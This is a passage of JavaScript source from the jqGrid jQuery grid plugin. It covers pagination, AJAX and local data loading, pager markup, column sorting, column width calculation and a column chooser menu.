ts.p.emptyrecords )); } else { from = base+1; tot=ts.p.records; if($.fmatter) { from = $.fmatter.util.NumberFormat(from,fmt); to = $.fmatter.util.NumberFormat(to,fmt); tot = $.fmatter.util.NumberFormat(tot,fmt); } var rt = $.jgrid.getRegional(ts, "defaults.recordtext", ts.p.recordtext); $(".ui-paging-info",pgboxes).html($.jgrid.template( rt ,from,to,tot)); } } if(ts.p.pgbuttons===true) { if(cp<=0) {cp = last = 0;} if(cp===1 || cp === 0) { $("#first"+tspg+", #prev"+tspg).addClass( disabled ).removeClass( hover ); if(ts.p.toppager) { $("#first_t"+tspg_t+", #prev_t"+tspg_t).addClass( disabled ).removeClass( hover ); } } else { $("#first"+tspg+", #prev"+tspg).removeClass( disabled ); if(ts.p.toppager) { $("#first_t"+tspg_t+", #prev_t"+tspg_t).removeClass( disabled ); } } if(cp===last || cp === 0) { $("#next"+tspg+", #last"+tspg).addClass( disabled ).removeClass( hover ); if(ts.p.toppager) { $("#next_t"+tspg_t+", #last_t"+tspg_t).addClass( disabled ).removeClass( hover ); } } else { $("#next"+tspg+", #last"+tspg).removeClass( disabled ); if(ts.p.toppager) { $("#next_t"+tspg_t+", #last_t"+tspg_t).removeClass( disabled ); } } } } if(rn===true && ts.p.rownumbers === true) { $(">td.jqgrid-rownum",ts.rows).each(function(i){ $(this).html(base+1+i); }); } if(ts.p.reccount === 0 ) { var classes = ts.p.emptyRecordRow ? getstyle(stylemodule, 'rowBox', true, 'jqgrow ui-row-'+ ts.p.direction+' not-editable-row not-editable-cell '+ disabled) : 'jqgfirstrow not-editable-row not-editable-cell', tstr = constructTr("norecs", false, classes, {}, ""); tstr += ts.p.emptyRecordRow ? "<td style='text-align:center;' colspan='"+grid.headers.length+"'>"+$.jgrid.getRegional(ts, "defaults.emptyrecords", ts.p.emptyrecords )+"</td>" : "<td style='height:0.1px;visibility:hidden;' colspan='"+grid.headers.length+"'> </td>"; tstr += "</tr>"; $(grid.bDiv).find("table").first().append(tstr); } if(dnd && ts.p.jqgdnd) { $(ts).jqGrid('gridDnD','updateDnD');} $(ts).triggerHandler("jqGridGridComplete"); if($.jgrid.isFunction(ts.p.gridComplete)) {ts.p.gridComplete.call(ts);} $(ts).triggerHandler("jqGridAfterGridComplete"); }, beginReq = function() { ts.grid.hDiv.loading = true; if(ts.p.hiddengrid) { return;} $(ts).jqGrid("progressBar", {method:"show", loadtype : ts.p.loadui, htmlcontent: $.jgrid.getRegional(ts, "defaults.loadtext", ts.p.loadtext) }); }, endReq = function() { ts.grid.hDiv.loading = false; $(ts).jqGrid("progressBar", {method:"hide", loadtype : ts.p.loadui }); }, beforeprocess = function(data, st, xhr) { var bfpcr = $(ts).triggerHandler("jqGridBeforeProcessing", [data,st,xhr]); bfpcr = (bfpcr === undefined || typeof(bfpcr) !== 'boolean') ? true : bfpcr; if ($.jgrid.isFunction(ts.p.beforeProcessing)) { if (ts.p.beforeProcessing.call(ts, data, st, xhr) === false) { bfpcr = false; } } return bfpcr; }, afterprocess = function(dstr, lcf) { $(ts).triggerHandler("jqGridLoadComplete", [dstr]); if(lcf) {ts.p.loadComplete.call(ts,dstr);} $(ts).triggerHandler("jqGridAfterLoadComplete", [dstr]); ts.p.datatype = "local"; ts.p.datastr = null; endReq(); }, populate = function (npage) { if(!ts.grid.hDiv.loading) { var pvis = ts.p.scroll && npage === false, prm = {}, dt, dstr, pN=ts.p.prmNames; spsh = 0; if(ts.p.page <=0) { ts.p.page = Math.min(1,ts.p.lastpage); } if( !$.jgrid.isNull(pN.search, true) ) {prm[pN.search] = ts.p.search;} if(!$.jgrid.isNull(pN.nd, true) ) {prm[pN.nd] = new Date().getTime();} if(!$.jgrid.isNull(pN.rows, true) ) {prm[pN.rows]= ts.p.rowNum;} if(!$.jgrid.isNull(pN.page, true) ) {prm[pN.page]= ts.p.page;} if(!$.jgrid.isNull(pN.sort, true) ) {prm[pN.sort]= ts.p.sortname;} if(!$.jgrid.isNull(pN.order, true) ) {prm[pN.order]= ts.p.sortorder;} if(!$.jgrid.isNull(ts.p.rowTotal, true) && !$.jgrid.isNull(pN.totalrows, true) ) { prm[pN.totalrows]= ts.p.rowTotal; } var lcf = $.jgrid.isFunction(ts.p.loadComplete), lc = lcf ? ts.p.loadComplete : null; var adjust = 0; npage = npage || 1; if (npage > 1) { if( !$.jgrid.isNull(pN.npage, true) ) { prm[pN.npage] = npage; adjust = npage - 1; npage = 1; } else { lc = function(req) { ts.p.page++; ts.grid.hDiv.loading = false; if (lcf) { ts.p.loadComplete.call(ts,req); } populate(npage-1); }; } } else if (!$.jgrid.isNull(pN.npage, true) ) { delete ts.p.postData[pN.npage]; } if(ts.p.grouping) { $(ts).jqGrid('groupingSetup'); var grp = ts.p.groupingView, gi, gs="", tmpordarr = []; for(gi=0;gi<grp.groupField.length;gi++) { var index = grp.groupField[gi]; $.each(ts.p.colModel, function(cmIndex, cmValue) { if (cmValue.name === index && cmValue.index){ index = cmValue.index; } } ); tmpordarr.push(index +" "+grp.groupOrder[gi]); } gs = tmpordarr.join(); if( $.jgrid.trim(prm[pN.sort]) !== "") { prm[pN.sort] = gs!=="" ? gs + " ,"+prm[pN.sort] : prm[pN.sort]; } else { prm[pN.sort] = gs; prm[pN.order] = ""; } if(ts.p.datatype==='local' && !grp._locgr) { ts.p.datatype = 'jsonstring'; ts.p.datastr = ts.p.data; } } $.extend(ts.p.postData,prm); var rcnt = !ts.p.scroll ? 1 : ts.rows.length-1; if ($.jgrid.isFunction(ts.p.datatype)) { ts.p.datatype.call(ts,ts.p.postData,"load_"+ts.p.id, rcnt, npage, adjust); return; } var bfr = $(ts).triggerHandler("jqGridBeforeRequest"); if (bfr === false || bfr === 'stop') { return; } if ($.jgrid.isFunction(ts.p.beforeRequest)) { bfr = ts.p.beforeRequest.call(ts); if (bfr === false || bfr === 'stop') { return; } } //bvn if ($.jgrid.isFunction(ts.treeGrid_beforeRequest)) { ts.treeGrid_beforeRequest.call(ts); } dt = ts.p.datatype.toLowerCase(); switch(dt) { case "json": case "jsonp": case "xml": case "script": $.ajax($.extend({ url:ts.p.url, type:ts.p.mtype, dataType: dt , data: $.jgrid.isFunction(ts.p.serializeGridData)? ts.p.serializeGridData.call(ts,ts.p.postData) : ts.p.postData, success:function(data,st, xhr) { if(!beforeprocess(data, st,xhr)) { endReq(); return; } if(dt === "xml") { addXmlData(data, rcnt,npage>1,adjust); } else { addJSONData(data, rcnt, npage>1, adjust); } $(ts).triggerHandler("jqGridLoadComplete", [data]); if(lc) { lc.call(ts,data); } $(ts).triggerHandler("jqGridAfterLoadComplete", [data]); if (pvis) { ts.grid.populateVisible(); } if (!ts.p.treeGrid_bigData) { if( ts.p.loadonce || ts.p.treeGrid) {ts.p.datatype = "local";} } else { if( ts.p.loadonce) {ts.p.datatype = "local";} //bvn13 } data=null; if (npage === 1) { endReq(); } // bvn if ($.jgrid.isFunction(ts.treeGrid_afterLoadComplete)) { ts.treeGrid_afterLoadComplete.call(ts); } }, error:function(xhr,st,err){ $(ts).triggerHandler("jqGridLoadError", [xhr,st,err]); if($.jgrid.isFunction(ts.p.loadError)) { ts.p.loadError.call(ts,xhr,st,err); } if (npage === 1) { endReq(); } xhr=null; }, beforeSend: function(xhr, settings ){ var gotoreq = true; gotoreq = $(ts).triggerHandler("jqGridLoadBeforeSend", [xhr,settings]); if($.jgrid.isFunction(ts.p.loadBeforeSend)) { gotoreq = ts.p.loadBeforeSend.call(ts,xhr, settings); } if(gotoreq === undefined) { gotoreq = true; } if(gotoreq === false) { return false; } beginReq(); } },$.jgrid.ajaxOptions, ts.p.ajaxGridOptions)); break; case "xmlstring": beginReq(); dstr = typeof ts.p.datastr !== 'string' ? ts.p.datastr : $.parseXML(ts.p.datastr); if(!beforeprocess(dstr, 200 , null)) { endReq(); return; } addXmlData(dstr); afterprocess(dstr, lcf); break; case "jsonstring": beginReq(); if(typeof ts.p.datastr === 'string') { dstr = $.jgrid.parse(ts.p.datastr); } else { dstr = ts.p.datastr; } if(!beforeprocess(dstr, 200 , null)) { endReq(); return; } addJSONData(dstr); if(ts.p.grouping && ts.p.groupingView._locgr) { // back to original data??? ts.p.data = dstr; } afterprocess(dstr, lcf); break; case "local": case "clientside": beginReq(); ts.p.datatype = "local"; ts.p._ald = true; var req = addLocalData( false ); if(!beforeprocess(req, 200 , null)) { endReq(); return; } addJSONData(req,rcnt,npage>1,adjust); $(ts).triggerHandler("jqGridLoadComplete", [req]); if(lc) { lc.call(ts,req); } $(ts).triggerHandler("jqGridAfterLoadComplete", [req]); if (pvis) { ts.grid.populateVisible(); } endReq(); ts.p._ald = false; break; case "indexeddb": if(!ts.p.dbconfig.ready_req) { return; } beginReq(); addIndexedDBData(false).then(function(res) { if(!beforeprocess(res, 200 , null)) { endReq(); return; } addJSONData(res, rcnt, npage>1, adjust); $(ts).triggerHandler("jqGridLoadComplete", [res]); if(lc) { lc.call(ts,res); } $(ts).triggerHandler("jqGridAfterLoadComplete", [res]); if (pvis) { ts.grid.populateVisible(); } endReq(); ts.p._ald = false; }); break; } ts.p._sort = false; } }, setHeadCheckBox = function ( checked ) { $('#cb_'+$.jgrid.jqID(ts.p.id),ts.grid.hDiv)[ts.p.useProp ? 'prop': 'attr']("checked", checked); var fid = ts.p.frozenColumns ? ts.p.id+"_frozen" : ""; if(fid) { $('#cb_'+$.jgrid.jqID(ts.p.id),ts.grid.fhDiv)[ts.p.useProp ? 'prop': 'attr']("checked", checked); } }, setPager = function (pgid, tp){ // TBD - consider escaping pgid with pgid = $.jgrid.jqID(pgid); var sep = "<td class='ui-pg-button "+disabled+"'><span class='ui-separator'></span></td>", pginp = "", pgl="<table class='ui-pg-table ui-common-table ui-paging-pager'><tbody><tr>", str="", pgcnt, lft, cent, rgt, twd, tdw, i, removebutt, clearVals = function(onpaging, thus){ var ret; ret = $(ts).triggerHandler("jqGridPaging", [onpaging, thus]); if(ret==='stop') {return false;} if ($.jgrid.isFunction(ts.p.onPaging) ) { ret = ts.p.onPaging.call(ts,onpaging, thus); } if(ret==='stop') {return false;} ts.p.selrow = null; if(ts.p.multiselect) { if(!ts.p.preserveSelection) { ts.p.selarrrow =[]; } setHeadCheckBox( false ); } ts.p.savedRow = []; return true; }; //pgid = pgid.substr(1); tp += "_" + pgid; pgcnt = "pg_"+pgid; lft = pgid+"_left"; cent = pgid+"_center"; rgt = pgid+"_right"; $("#"+$.jgrid.jqID(pgid) ) .append("<div id='"+pgcnt+"' class='ui-pager-control' role='group'><table " + getstyle(stylemodule, 'pagerTable', false, 'ui-pg-table ui-common-table ui-pager-table') + "><tbody><tr><td id='"+lft+"' align='left'></td><td id='"+cent+"' align='center' style='white-space:pre;'></td><td id='"+rgt+"' align='right'></td></tr></tbody></table></div>") .attr("dir", dir); if(ts.p.rowList.length >0){ str = "<td dir=\""+dir+"\">"; str +="<select "+getstyle(stylemodule, 'pgSelectBox', false, 'ui-pg-selbox')+" size=\"1\" name=\"pg_sel_box\" role=\"listbox\" title=\""+($.jgrid.getRegional(ts,"defaults.pgrecs",ts.p.pgrecs) || "")+ "\">"; var strnm; for(i=0;i<ts.p.rowList.length;i++){ strnm = ts.p.rowList[i].toString().split(":"); if(strnm.length === 1) { strnm[1] = strnm[0]; } if (strnm[1].length == 0) { str +="<option role=\"option\" value=\""+strnm[0]+"\""+(( intNum(ts.p.rowNum,0) === intNum(strnm[0],0))?" aria-label=\""+strnm[1]+"\" selected=\"selected\"":"")+">"+strnm[1]+"</option>"; } else { str +="<option role=\"option\" value=\""+strnm[0]+"\""+(( intNum(ts.p.rowNum,0) === intNum(strnm[0],0))?" selected=\"selected\"":"")+">"+strnm[1]+"</option>"; } } str +="</select></td>"; } if(dir==="rtl") { pgl += str; $("#"+rgt).attr("align","left"); } if(ts.p.pginput===true) { pginp= "<td id='input"+tp+"' dir='"+dir+"'>"+$.jgrid.template( $.jgrid.getRegional(ts, "defaults.pgtext", ts.p.pgtext) || "","<input "+getstyle(stylemodule, 'pgInput', false, 'ui-pg-input') + " type='text' size='2' maxlength='7' value='0' role='textbox' name='jqgpginput'/>","<span id='sp_1_"+$.jgrid.jqID(pgid)+"'></span>")+"</td>"; } var po=["first"+tp,"prev"+tp, "next"+tp,"last"+tp]; if(ts.p.pgbuttons===true) { var btc=getstyle(stylemodule, 'pgButtonBox', true, 'ui-pg-button'), pot = [($.jgrid.getRegional(ts,"defaults.pgfirst",ts.p.pgfirst) || ""), ($.jgrid.getRegional(ts,"defaults.pgprev",ts.p.pgprev) || ""), ($.jgrid.getRegional(ts,"defaults.pgnext",ts.p.pgnext) || ""), ($.jgrid.getRegional(ts,"defaults.pglast",ts.p.pglast) || "")], n1, n2,n3, n4, nn; if(dir==="rtl") { po.reverse(); pot.reverse(); } n1 = "<td id='"+po[0]+"' class='"+btc+"' title='"+ pot[0] +"'" + "><span " + getstyle(stylemodule, 'icon_first', false, iconbase)+"></span></td>"; n2 = "<td id='"+po[1]+"' class='"+btc+"' title='"+ pot[1] +"'" +"><span " + getstyle(stylemodule, 'icon_prev', false, iconbase)+"></span></td>"; n3 = "<td id='"+po[2]+"' class='"+btc+"' title='"+ pot[2] +"'" +"><span " + getstyle(stylemodule, 'icon_next',false, iconbase)+"></span></td>"; n4 = "<td id='"+po[3]+"' class='"+btc+"' title='"+ pot[3] +"'" +"><span " + getstyle(stylemodule, 'icon_end',false, iconbase)+"></span></td>"; nn = pginp !== "" ? sep+pginp+sep:""; if (dir === 'ltr') { pgl += n1 + n2 + nn + n3 + n4; } else { pgl += n4 + n3 +nn + n2 + n1; } } else if (pginp !== "") { pgl += pginp; } if(dir==="ltr") { pgl += str; } pgl += "</tr></tbody></table>"; pgid = $.jgrid.jqID(pgid); pgcnt = $.jgrid.jqID(pgcnt); if(ts.p.viewrecords===true) { $("td#"+pgid+"_"+ts.p.recordpos,"#"+pgcnt).append("<div dir='"+dir+"' class='ui-paging-info'></div>"); } $("td#"+pgid+"_"+ts.p.pagerpos,"#"+pgcnt).append(pgl); tdw = $("#gbox_"+$.jgrid.jqID(ts.p.id)).css("font-size") || "11px"; $("#gbox_"+$.jgrid.jqID(ts.p.id)).append("<div id='testpg' "+getstyle(stylemodule, 'entrieBox', false, 'ui-jqgrid')+" style='font-size:"+tdw+";visibility:hidden;' ></div>"); twd = $(pgl).clone().appendTo("#testpg").width(); $("#testpg").remove(); if(twd > 0) { if(pginp !== "") { twd += 50; } //should be param removebutt = twd > $("td#"+pgid+"_"+ts.p.pagerpos,"#"+pgcnt).innerWidth(); $("td#"+pgid+"_"+ts.p.pagerpos,"#"+pgcnt).width(twd); } ts.p._nvtd = []; ts.p._nvtd[0] = twd ? Math.floor((ts.p.width - twd)/2) : Math.floor(ts.p.width/3); ts.p._nvtd[1] = 0; pgl=null; $('.ui-pg-selbox',"#"+pgcnt).on('change',function() { if(!clearVals('records', this)) { return false; } ts.p.page = Math.round(ts.p.rowNum*(ts.p.page-1)/this.value-0.5)+1; ts.p.rowNum = this.value; if(ts.p.pager) { $('.ui-pg-selbox', ts.p.pager ).val(this.value); } if(ts.p.toppager) { $('.ui-pg-selbox', ts.p.toppager).val(this.value); } populate(); return false; }); if(ts.p.pgbuttons===true) { $(".ui-pg-button","#"+pgcnt).hover(function(){ if($(this).hasClass(disabled)) { this.style.cursor='default'; } else { $(this).addClass(hover); this.style.cursor='pointer'; } },function() { if(!$(this).hasClass(disabled)) { $(this).removeClass(hover); this.style.cursor= "default"; } }); $("#first"+$.jgrid.jqID(tp)+", #prev"+$.jgrid.jqID(tp)+", #next"+$.jgrid.jqID(tp)+", #last"+$.jgrid.jqID(tp)).click( function() { if ($(this).hasClass(disabled)) { return false; } var cp = intNum(ts.p.page,1), last = intNum(ts.p.lastpage,1), selclick = false, fp=true, pp=true, np=true,lp=true; if(last ===0 || last===1) { fp=false; pp=false; np=false; lp=false; } else if( last>1 && cp >=1) { if( cp === 1) { fp=false; pp=false; } else if( cp===last){ np=false; lp=false; } } else if( last>1 && cp===0 ) { np=false; lp=false; cp=last-1; } if(!clearVals(this.id.split("_")[0], this)) { return false; } if( this.id === 'first'+tp && fp ) { ts.p.page=1; selclick=true;} if( this.id === 'prev'+tp && pp) { ts.p.page=(cp-1); selclick=true;} if( this.id === 'next'+tp && np) { ts.p.page=(cp+1); selclick=true;} if( this.id === 'last'+tp && lp) { ts.p.page=last; selclick=true;} if(selclick) { populate(); } $.jgrid.setSelNavIndex(ts, this); return false; }); } if(ts.p.pginput===true) { $("#"+pgcnt).on('keypress','input.ui-pg-input', function(e) { var key = e.charCode || e.keyCode || 0; if(key === 13) { e.preventDefault(); if(!clearVals('user', this)) { return false; } $(this).val( intNum( $(this).val(), 1)); ts.p.page = ($(this).val()>0) ? $(this).val():ts.p.page; populate(); return false; } return this; }); } if(removebutt && ts.p.responsive && !ts.p.forcePgButtons) { $("#"+po[0]+",#"+po[3]+",#input"+$.jgrid.jqID(tp)).hide(); $(".ui-paging-info", "td#"+pgid+"_"+ts.p.recordpos).hide(); $(".ui-pg-selbox","td#"+pgid+"_"+ts.p.pagerpos).hide(); } }, multiSort = function(iCol, obj, sor ) { var cm = ts.p.colModel,selarr =[], /*ts.p.frozenColumns ? (ts.p.autoResizing ? ts.grid.headers[iCol].el : obj) :*/ so="", sn; selarr.push(ts.grid.headers[iCol].el); if(ts.p.frozenColumns) { selarr.push(obj); } $("span.ui-grid-ico-sort",selarr).addClass(disabled); $(selarr).attr({"aria-selected":"false","aria-sort" : "none"}); sn = (cm[iCol].index || cm[iCol].name); if ( typeof sor === "undefined" ) { if(cm[iCol].lso) { if(cm[iCol].lso==="asc") { cm[iCol].lso += "-desc"; so = "desc"; } else if(cm[iCol].lso==="desc") { cm[iCol].lso += "-asc"; so = "asc"; } else if(cm[iCol].lso==="asc-desc" || cm[iCol].lso==="desc-asc") { cm[iCol].lso=""; } } else { cm[iCol].lso = so = cm[iCol].firstsortorder || 'asc'; } } else { cm[iCol].lso = so = sor; } if( so ) { $("span.s-ico",selarr).show(); $("span.ui-icon-"+so,selarr).removeClass(disabled); $(selarr).attr({"aria-selected":"true","aria-sort" : so+"ending"}); } else { if(!ts.p.viewsortcols[0]) { $("span.s-ico",selarr).hide(); } } var isn = sortarr.indexOf( sn ); if( isn === -1 ) { sortarr.push( sn ); sortord.push( so ); } else { if( so ) { sortord[isn] = so; } else { sortord.splice( isn, 1 ); sortarr.splice( isn, 1 ); } } ts.p.sortorder = ""; ts.p.sortname = ""; for( var i = 0, len = sortarr.length; i < len ; i++) { if( i > 0) { ts.p.sortname += ", "; } ts.p.sortname += sortarr[ i ]; if( i !== len -1) { ts.p.sortname += " "+sortord[ i ]; } } ts.p.sortorder = sortord[ len -1 ]; /* $.each(cm, function(i){ if(this.lso) { if(i>0 && fs) { sort += ", "; } splas = this.lso.split("-"); sort += cm[i].index || cm[i].name; sort += " "+splas[splas.length-1]; fs = true; ts.p.sortorder = splas[splas.length-1]; } }); ls = sort.lastIndexOf(ts.p.sortorder); sort = sort.substring(0, ls); ts.p.sortname = sort; */ }, sortData = function (index, idxcol,reload,sor, obj){ if(!ts.p.colModel[idxcol].sortable) { return; } if(ts.p.savedRow.length > 0) {return;} if(!reload) { if( ts.p.lastsort === idxcol && ts.p.sortname !== "" ) { if( ts.p.sortorder === 'asc') { ts.p.sortorder = 'desc'; } else if(ts.p.sortorder === 'desc') { ts.p.sortorder = 'asc';} } else { ts.p.sortorder = ts.p.colModel[idxcol].firstsortorder || 'asc'; } ts.p.page = 1; } if(ts.p.multiSort) { multiSort( idxcol, obj, sor); } else { if(sor) { if(ts.p.lastsort === idxcol && ts.p.sortorder === sor && !reload) { return; } ts.p.sortorder = sor; } var previousSelectedTh = ts.grid.headers[ts.p.lastsort] ? ts.grid.headers[ts.p.lastsort].el : null, newSelectedTh = /*ts.p.frozenColumns ? obj :*/ ts.grid.headers[idxcol].el, newSelThFC = ts.p.frozenColumns ? obj : null, //sortrule = $.trim(ts.p.viewsortcols[1] === 'single' ? hidden : disabled); usehide = ts.p.viewsortcols[1] === 'single' ? true : false, tmpicon; tmpicon = $(previousSelectedTh).find("span.ui-grid-ico-sort"); tmpicon.addClass(disabled); if(usehide) { $(tmpicon).css("display","none"); } $(previousSelectedTh).attr({"aria-selected":"false","aria-sort" : "none"}); if(ts.p.frozenColumns) { tmpicon = ts.grid.fhDiv.find("span.ui-grid-ico-sort"); tmpicon.addClass(disabled); if(usehide) { tmpicon.css("display","none"); } ts.grid.fhDiv.find("th").attr({"aria-selected":"false","aria-sort" : "none"}); } tmpicon = $(newSelectedTh).find("span.ui-icon-"+ts.p.sortorder); tmpicon.removeClass(disabled); if(usehide) { tmpicon.css("display",""); } $(newSelectedTh).attr({"aria-selected":"true","aria-sort" : ts.p.sortorder + "ending"}); if(ts.p.frozenColumns) { tmpicon = $(newSelThFC).find("span.ui-icon-"+ts.p.sortorder); tmpicon.removeClass(disabled); if(usehide) { tmpicon.css("display",""); } $(newSelThFC).attr({"aria-selected":"true","aria-sort" : ts.p.sortorder + "ending"}); } if(!ts.p.viewsortcols[0]) { if(ts.p.lastsort !== idxcol) { if(ts.p.frozenColumns){ ts.grid.fhDiv.find("span.s-ico").hide(); } $("span.s-ico",previousSelectedTh).hide(); $("span.s-ico",newSelectedTh).show(); if(newSelThFC) { $("span.s-ico",newSelThFC).show(); } } else if (ts.p.sortname === "") { // if ts.p.lastsort === idxcol but ts.p.sortname === "" $("span.s-ico",newSelectedTh).show(); } } index = index.substring(5 + ts.p.id.length + 1); // bad to be changed!?! ts.p.sortname = ts.p.colModel[idxcol].index || index; } if ($(ts).triggerHandler("jqGridSortCol", [ts.p.sortname, idxcol, ts.p.sortorder]) === 'stop') { ts.p.lastsort = idxcol; return; } if($.jgrid.isFunction(ts.p.onSortCol)) { if (ts.p.onSortCol.call(ts, ts.p.sortname, idxcol, ts.p.sortorder)==='stop') { ts.p.lastsort = idxcol; return; } } setHeadCheckBox(false); if(ts.p.datatype === "local") { if(ts.p.deselectAfterSort && !ts.p.preserveSelection) { $(ts).jqGrid("resetSelection"); } } else { ts.p.selrow = null; if(ts.p.multiselect){ if(!ts.p.preserveSelection) { ts.p.selarrrow =[]; } } ts.p.savedRow =[]; } if(ts.p.scroll) { var sscroll = ts.grid.bDiv.scrollLeft; emptyRows.call(ts, true, false); ts.grid.hDiv.scrollLeft = sscroll; } if(ts.p.subGrid && ts.p.datatype === 'local') { $("td.sgexpanded","#"+$.jgrid.jqID(ts.p.id)).each(function(){ $(this).trigger("click"); }); } ts.p._sort = true; populate(); ts.p.lastsort = idxcol; if(ts.p.sortname !== index && idxcol) {ts.p.lastsort = idxcol;} }, setColWidth = function () { var initwidth = 0, brd=$.jgrid.cell_width? 0: intNum(ts.p.cellLayout,0), vc=0, lvc, scw=intNum(ts.p.scrollOffset,0),cw,hs=false,aw,gw=0,cr, chrome_fix, lvmc; $.each(ts.p.colModel, function() { if(this.hidden === undefined) {this.hidden=false;} if(ts.p.grouping && ts.p.autowidth) { var ind = $.inArray(this.name, ts.p.groupingView.groupField); if(ind >= 0 && ts.p.groupingView.groupColumnShow.length > ind) { this.hidden = !ts.p.groupingView.groupColumnShow[ind]; } } this.widthOrg = intNum(this.width,0); // if(this.maxWidth && intNum(this.width,0) > intNum(this.maxWidth,0) ) { this.width = this.maxWidth; } // cw = intNum(this.width,0); if(this.hidden===false){ initwidth += cw+brd; if(this.fixed) { gw += cw+brd; } else { vc++; } } }); if(isNaN(ts.p.width)) { ts.p.width = initwidth + ((ts.p.shrinkToFit ===false && !isNaN(ts.p.height)) ? scw : 0); } grid.width = parseInt(ts.p.width,10); ts.p.tblwidth = initwidth; if(ts.p.shrinkToFit ===false && ts.p.forceFit === true) {ts.p.forceFit=false;} if(ts.p.shrinkToFit===true && vc > 0) { aw = grid.width-brd*vc-gw; if(!isNaN(ts.p.height)) { aw -= scw; hs = true; } initwidth =0; var maxwidthcount = 0, diffmaxwidth = 0, notmax = [], notmaxwidth=0; $.each(ts.p.colModel, function(i) { if(this.hidden === false && !this.fixed){ cw = Math.round(aw*this.width/(ts.p.tblwidth-brd*vc-gw)); if(this.maxWidth && cw > this.maxWidth) { maxwidthcount++; diffmaxwidth += cw; this.width = this.maxWidth; lvmc = i; } else { this.width =cw; notmaxwidth += cw; notmax.push(i+""); } initwidth += this.width ; lvc = i; } }); cr = 0; chrome_fix = -1;/*bstw === 0 ? -1 :0;*/ initwidth += diffmaxwidth; var jj = -1; // maxWidth columns available if(maxwidthcount > 0 && vc > 0) { // do recalc var testsum = 0; for(var nmi=0;nmi<notmax.length; nmi++) { jj = parseInt(notmax[nmi],10); testsum += Math.round(ts.p.colModel[jj].width*diffmaxwidth/notmaxwidth); ts.p.colModel[jj].width = ts.p.colModel[jj].width + Math.round(ts.p.colModel[jj].width*diffmaxwidth/notmaxwidth); } // in case recalculated sum diffrent from the remeining sum if(testsum !== diffmaxwidth) { ts.p.colModel[jj].width += diffmaxwidth-testsum; } } if (hs) { if(grid.width-gw-(initwidth+brd*vc) !== scw){ cr = grid.width-gw-(initwidth+brd*vc)-scw; } } else if(!hs && Math.abs(grid.width-gw-(initwidth+brd*vc)) !== 0) { cr = grid.width-gw-(initwidth+brd*vc) - bstw; } if(jj >-1 && lvc === lvmc) { // in case last visible = last maxWidth column lvc = jj; // change it } ts.p.colModel[lvc].width += cr + chrome_fix; //} ts.p.tblwidth = initwidth+cr+brd*vc+gw; if(ts.p.tblwidth > ts.p.width) { ts.p.colModel[lvc].width -= (ts.p.tblwidth - parseInt(ts.p.width,10)); ts.p.tblwidth = ts.p.width; } } }, nextVisible= function(iCol) { var ret = iCol, j=iCol, i; for (i = iCol+1;i<ts.p.colModel.length;i++){ if(ts.p.colModel[i].hidden !== true ) { j=i; break; } } return j-ret; }, getOffset = function (iCol) { var $th = $(ts.grid.headers[iCol].el), ret = [$th.position().left + $th.outerWidth()]; if(ts.p.direction==="rtl") { ret[0] = ts.p.width - ret[0]; } ret[0] -= ts.grid.bDiv.scrollLeft; ret.push($(ts.grid.hDiv).position().top); ret.push($(ts.grid.bDiv).offset().top - $(ts.grid.hDiv).offset().top + $(ts.grid.bDiv).height()); return ret; }, getColumnHeaderIndex = function (th) { var i, headers = ts.grid.headers, ci = $.jgrid.getCellIndex(th); for (i = 0; i < headers.length; i++) { if (th === headers[i].el) { ci = i; break; } } return ci; }, buildColItems = function (top, left, parent, op) { var cm = ts.p.colModel, len = cm.length, i, cols=[], disp, all_visible = true, cols_nm=[], colNm = $.extend([], ts.p.colNames), iCol, common = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].common, texts = $.jgrid.getRegional(ts, "colmenu"), colArr =[], str1 = '<ul id="col_menu" class="ui-search-menu ui-col-menu modal-content ' + common.shadow + '" role="menu" tabindex="0" style="left:'+left+'px;">'; if( op.columns_selectAll ) { str1 += '<li class="ui-menu-item disabled" role="presentation" draggable="false"><a class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table" ><tr><td class="menu_icon" title="'+texts.reorder+'"><span class="'+iconbase+' '+colmenustyle.icon_move+' notclick" style="visibility:hidden"></span></td><td class="menu_icon"><input id="chk_all" class="'+colmenustyle.input_checkbox+'" type="checkbox" name="check_all"></td><td class="menu_text">Check/Uncheck</td></tr></table></a></li>'; } if(ts.p.colSpanHeader.length) { // fo future work Currently does not work for(var cj = 0;cj<ts.p.colSpanHeader.length;cj++) { var clitem = ts.p.colSpanHeader[cj]; iCol = $.jgrid.getElemByAttrVal( cm, 'name', clitem.startColumnName, true); if(iCol >= 0) { colArr.push(iCol); colNm[iCol] = clitem.titleText; } } } if( $(ts).jqGrid('isGroupHeaderOn') /*&& opts.groupHeaders*/) { var gh_len = ts.p.groupHeader.length, // use the last set one groupH = ts.p.groupHeader[gh_len-1]; for(var ij=0;ij<colNm.length; ij++){ iCol = $.jgrid.inColumnHeader( cm[ij].name, groupH.groupHeaders); if(iCol>=0) { colNm[ij] = groupH.groupHeaders[iCol].titleText + "::" + colNm[ij]; for(var jj= 1; jj<= groupH.groupHeaders[iCol].numberOfColumns-1; jj++) { colNm[ij+jj] = groupH.groupHeaders[iCol].titleText + "::" + colNm[ij+jj]; } ij = ij+groupH.groupHeaders[iCol].numberOfColumns-1; } } } for(i=0;i<len;i++) { //if(!cm[i].hidedlg) { // column chooser var hid = !cm[i].hidden ? "checked" : "", nm = cm[i].name, lb = colNm[i]; //ts.p.colNames[i]; disp = (nm === 'cb' || nm==='subgrid' || nm==='rn' || nm==='sc' || cm[i].hidedlg) ? "style='display:none'" :""; str1 += '<li '+disp+' class="ui-menu-item" role="presentation" draggable="true"><a class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table" ><tr><td class="menu_icon" title="'+texts.reorder+'"><span class="'+iconbase+' '+colmenustyle.icon_move+' notclick"></span></td><td class="menu_icon"><input class="'+colmenustyle.input_checkbox+' chk_selected" type="checkbox" name="'+nm+'" '+hid+'></td><td class="menu_text">'+lb+'</td></tr></table></a></li>'; cols.push(i); if( disp === "") { cols_nm.push(nm); } if(all_visible && hid==="") { all_visible = false; } } str1 += "</ul>"; $(parent).append(str1); $("#col_menu").addClass("ui-menu " + colmenustyle.menu_widget); $("#chk_all", "#col_menu").prop("checked",all_visible); if(!$.jgrid.isElementInViewport($("#col_menu")[0])){ $("#col_menu").css("left", - parseInt($("#column_menu").innerWidth(),10) +"px"); } if($.fn.html5sortable()) { $("#col_menu").html5sortable({ handle: 'span', items: ':not(.disabled)', forcePlaceholderSize: true } ).on('sortupdate', function(e, ui) { cols.splice( ui.startindex,1); cols.splice(ui.endindex, 0, ui.startindex); $(ts).jqGrid("destroyFrozenColumns"); $(ts).jqGrid("remapColumns", cols, true); 